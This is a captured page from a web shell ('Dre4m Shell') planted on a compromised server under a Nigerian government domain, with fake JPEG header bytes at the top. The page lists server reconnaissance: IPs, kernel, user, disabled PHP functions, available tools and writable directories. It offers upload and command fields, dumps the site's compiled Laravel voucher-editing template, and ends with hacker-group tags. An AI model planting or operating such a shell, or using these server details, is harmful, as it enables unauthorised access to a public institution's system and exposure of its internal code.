ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.12.152.151
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/90c105e18eaf2d71f376bbbf5c582cda0697b4e6.php
<?php $__env->startSection('pageTitle'); ?>
    <b>SEARCH AND EDIT VOUCHERS </b>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('content'); ?>
    <div class="box box-default">
        <div class="box-body box-profile">
            <div class="box-header with-border hidden-print">
                <h3 class="box-title"> <?php echo $__env->yieldContent('pageTitle'); ?> <span id='processing'></span></h3>
            </div>

            <div class="box-body">
                <div class="row">
                    <?php echo $__env->make('Share.message', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>

                    <!--Search by voucher number-->
                    <div class="row">
                        <form method="post" action="<?php echo e(url('/voucher/simple-edit')); ?>">
                            <?php echo e(csrf_field()); ?>

                            <div class="col-md-4">
                                <div class="form-group">
                                    <label>Search By Voucher's ID<span class="text-danger"></label>
                                    <input type="text" name="vourcherid" class="form-control" value="<?php echo e($vourcherid); ?>"
                                        placeholder="Enter multiple Voucher IDs E.g 234, 587, 100, 4904"
                                        onkeyup="if (/\D/g.test(this.value)) this.value = this.value.replace(/\D/g,',')">
                                    <span
                                        class="text-uppercase text-success"><b><?php echo e($numberRecordReturned ? $numberRecordReturned : ''); ?></b></span>
                                </div>
                            </div>
                            <div class="col-md-1">
                                <div class="form-group">
                                    <label>&nbsp;</label><br />
                                    <button type="submit" class="btn btn-success" name="reload"><i
                                            class="fa fa-search"></i> Search</button>
                                </div>
                            </div>
                            <input type="hidden" name="startDate" />
                            <input type="hidden" name="endDate" />
                            <input type="hidden" name="searchDate" />
                        </form>
                        <div class="col-md-1">&nbsp;</div>
                        <!--Search by Date Range-->
                        <form method="post" action="<?php echo e(url('/voucher/simple-edit')); ?>">
                            <?php echo e(csrf_field()); ?>

                            <div class="col-md-4">
                                <div class="form-group">
                                    <label>Search By Date Range<span class="text-danger"></label>
                                    <div id="reportrange"
                                        style="background: #fff; cursor: pointer; padding: 5px 10px; border: 1px solid #ccc; width: 100%">
                                        <i class="fa fa-calendar"></i>&nbsp;
                                        <span></span> <i class="fa fa-caret-down"></i>
                                        <input type="hidden" name="startDate" id="startDate" />
                                        <input type="hidden" name="endDate" id="endDate" />
                                        <input type="hidden" name="searchDate" id="searchDate" />
                                    </div>
                                    <span
                                        class="text-uppercase text-success"><b><?php echo e($dateReturned ? $dateReturned : ''); ?></b></span>
                                </div>
                            </div>
                            <div class="col-md-1">
                                <div class="form-group">
                                    <label>&nbsp;</label><br />
                                    <button type="submit" class="btn btn-success" value="searchByDate" name="reload"><i
                                            class="fa fa-search"></i> Search</button>
                                </div>
                            </div>
                        </form>

                        
                        <div class="table-responsive col-md-12" style="font-size: 12px; padding:5px;">
                            <table id="res_tab" class="table table-bordered table-striped table-highlight">
                                <thead>
                                    <tr bgcolor="#c7c7c7">
                                        <th>SN</th>
                                        <th>Action</th>
                                        <th>VoucherID</th>
                                        <th>Beneficiary</th>
                                        <!--<th>PVNO</th>-->
                                        <th>E-Code</th>
                                        <th>Total Amount</th>
                                        <!--<th>Amount Payable</th>-->
                                        <!--<th>Contract Description</th>-->
                                        <th>Retired Description</th>
                                        <th>Status</th>
                                        <!--<th>Date Awarded</th>-->
                                        <th>Date Created</th>
                                        <th>Retire Status</th>

                                    </tr>
                                </thead>
                                <?php $i = 1; ?>
                                <tbody>
                                    <?php if($tablecontent): ?>
                                        <?php $__currentLoopData = $tablecontent; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                            <tr>
                                                <td><?php echo e(($tablecontent->currentpage() - 1) * $tablecontent->perpage() + 1 + $key++); ?>

                                                </td>
                                                <td>
                                                    <button class="btn btn-success btn-xs editBtn" data-toggle="modal" data-target="#editModal" voucherId="<?php echo e($list->transID); ?>" retired="<?php echo e($list->retired); ?>" retired_description="<?php echo e($list->retire_description); ?>">Edit</button>
                                                </td>
                                                <td><b><?php echo e($list->transID . '-' . $departmentName); ?></b></td>
                                                <td><?php echo e($list->beneficiaryName); ?></td>
                                                <!--<td><?php echo e($list->PVNO); ?></td>-->
                                                <td><?php echo e($list->economicCode); ?></td>
                                                <td><?php echo e(($list->totalPayment > 0 and is_numeric($list->amtPayable)) ? number_format($list->totalPayment, 2) : $list->amtPayable); ?>

                                                </td>
                                                <!--<td><?php echo e(($list->amtPayable > 0 and is_numeric($list->amtPayable)) ? number_format($list->amtPayable, 2) : $list->amtPayable); ?></td>-->
                                                <!--<td><?php echo e(substr($list->ContractDescriptions, 0, 80)); ?> ...</td>-->
                                                <td><?php echo e(substr($list->retire_description, 0, 80)); ?> ...</td>
                                                <td>
                                                    <?php if($list->status == 0 and $list->accept_voucher_status == 0): ?>
                                                        <?php if($list->liabilityStatus == 2): ?>
                                                            <span class="text-danger">Declined</span>
                                                        <?php elseif($list->liabilityStatus == 1): ?>
                                                            <span class="text-success">Approved by Liability Taker</span>
                                                        <?php else: ?>
                                                            <span class="text-danger">Pending</span>
                                                        <?php endif; ?>
                                                    <?php elseif($list->status == 1 or $list->accept_voucher_status == 1): ?>
                                                        <span class="text-success">Accepted</span>
                                                    <?php elseif($list->status == 2): ?>
                                                        <span class="text-info">Booked</span>
                                                    <?php elseif($list->status == 3): ?>
                                                        <span class="text-warning">Rejected</span>
                                                    <?php elseif($list->status == 4): ?>
                                                        <span class="text-primary">Committed</span>
                                                    <?php elseif($list->status == 5): ?>
                                                        <span class="text-Info">Completed</span>
                                                    <?php elseif($list->status = 6): ?>
                                                        <span class="text-success">Paid</span>
                                                    <?php endif; ?>
                                                </td>
                                                <!--<td><?php echo e($list->dateAward); ?></td>-->
                                                <td><?php echo e($list->dateCreated); ?></td>
                                                <td>
                                                    <?php if($list->retired == 0): ?>
                                                        Not Retired
                                                    <?php else: ?>
                                                        Retired
                                                    <?php endif; ?>
                                                </td>

                                            </tr>
                                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                    <?php else: ?>
                                        <tr>
                                            <td colspan="100%">
                                                <center>Search For Voucher</center>
                                            </td>
                                        </tr>
                                    <?php endif; ?>
                                </tbody>
                            </table>
                            <hr />

                            <?php if($tablecontent): ?>
                                <div align="right">
                                    <?php if($tablecontent->hasPages()): ?>
                                        Showing <?php echo e(($tablecontent->currentpage() - 1) * $tablecontent->perpage() + 1); ?>

                                        to <?php echo e($tablecontent->currentpage() * $tablecontent->perpage()); ?>

                                        of <?php echo e($tablecontent->total()); ?> entries
                                </div>
                                <div class="hidden-print"><?php echo e($tablecontent->links()); ?></div>
                                <?php endif; ?>
                            <?php endif; ?>

                            <br><br><br><br><br>
                        </div>
                        
                        <input type="hidden" value="" id="co" name="court">
                        <input type="hidden" value="" id="di" name="division">
                        <input type="hidden" value="" name="status">
                        <input type="hidden" value="" name="chosen" id="chosen">
                        <input type="hidden" value="" id="type" name="type">


                        <!--Edit Modal -->
                        <div class="modal fade" id="editModal" tabindex="-1" role="dialog"
                            aria-labelledby="editModalLabel" aria-hidden="true">
                            <div class="modal-dialog" role="document">
                                <div class="modal-content">
                                    <div class="modal-header" style="background-color: green; color: white;">
                                        <h5 class="modal-title" id="exampleModalLabel">Edit Voucher ID: <span id="showId"></span> </h5>
                                        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                                            <span aria-hidden="true">&times;</span>
                                        </button>
                                    </div>
                                    <form action="" method="post">
                                        <input type="hidden" name="_token" value="<?php echo e(csrf_token()); ?>" />
                                        <input type="hidden" name="_method" value="PATCH">
                                        <input type="hidden" name="id" id="idForVoucher" value="">

                                        <div class="modal-body">
                                            <div class="row">
                                                <div class="col-md-12">
                                                    <div class="form-group">
                                                        <label for="retired">Retired</label>
                                                        <select name="retired" id="retired" class="form-control">
                                                            
                                                        </select>
                                                    </div>
                                                </div>
                                                <div class="col-md-12">
                                                    <div class="form-group">
                                                        <label for="retired_descriptionEdit">Retired Description</label>
                                                        <textarea name="retire_description" id="retired_descriptionEdit" cols="30" rows="10" class="form-control"></textarea>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="modal-footer">
                                            <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                                            <button type="submit" class="btn btn-success">Save changes</button>
                                        </div>
                                    </form>
                                </div>
                            </div>
                        </div>

                    </div>

                </div>
            </div>
        
    
<?php $__env->stopSection(); ?>

<?php $__env->startSection('scripts'); ?>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/momentjs/latest/moment.min.js"></script>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.min.js"></script>
    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.css" />
    <script type="text/javascript">
        //Date Picker Range
        $(function() {

            var start = moment().subtract(29, 'days');
            var end = moment();

            function cb(start, end) {
                $('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'));
                $('#startDate').val(start.format('YYYY-MM-D'));
                $('#endDate').val(end.format('YYYY-MM-D'));
                $('#searchDate').val(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'));
            }
            $('#reportrange').daterangepicker({
                startDate: start,
                endDate: end,
                ranges: {
                    'Today': [moment(), moment()],
                    'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
                    'Last 7 Days': [moment().subtract(6, 'days'), moment()],
                    'Last 30 Days': [moment().subtract(29, 'days'), moment()],
                    'This Month': [moment().startOf('month'), moment().endOf('month')],
                    'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1,
                        'month').endOf('month')]
                }
            }, cb);
            cb(start, end);
        });
        //Date Picker Range

        $(document).ready(function () {
            $(".editBtn").click(function (e) { 
                e.preventDefault();
                
                var voucherId = $(this).attr('voucherId');
                var retired = $(this).attr('retired');
                var retired_description = $(this).attr('retired_description');

                $("#showId").html(voucherId);
                $("#idForVoucher").val(voucherId);

                //Retired options\\
                if(retired == 0){
                    var options = "<option selected value='0'>Not Retired</option>" +  "<option value='1'>Retired</option>"; 
                }else if(retired == 1){
                    var options =  "<option selected value='1'>Retired</option>" +  "<option value='0'>Not Retired</option>";
                }

                $("#retired option").remove(); //remove the options under the select
                $("#retired").append(options); //setting new options
                //END Retired options\\

                //Retired Description\\
                if(retired_description == ''){
                    $("#retired_descriptionEdit").attr('placeholder', '----'); //if there's no description, it places a placeholder on the textarea
                }else{
                    $("#retired_descriptionEdit").val(retired_description);
                }
                //Retired Description END\\
                
            });
        });
    </script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/Liability/editVoucher.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team